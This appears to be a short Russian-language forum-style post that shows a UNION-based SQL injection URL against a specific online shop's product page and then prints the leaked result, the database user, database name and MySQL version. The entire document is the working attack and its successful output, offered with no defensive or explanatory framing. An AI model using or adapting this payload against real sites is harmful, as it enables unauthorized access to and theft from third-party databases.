http://www.nailshop.ee/emall/detail.php?prodid=1+and+1=2+union+select+1,2,3,con cat_ws(0x3a,User(),Database(),Version()),5,6,7,8,9 ,0,1,2,3,4,5,6,7/*
Вывод в коде :

nailshop@localhost:nailshop_eMall:5.0.45-log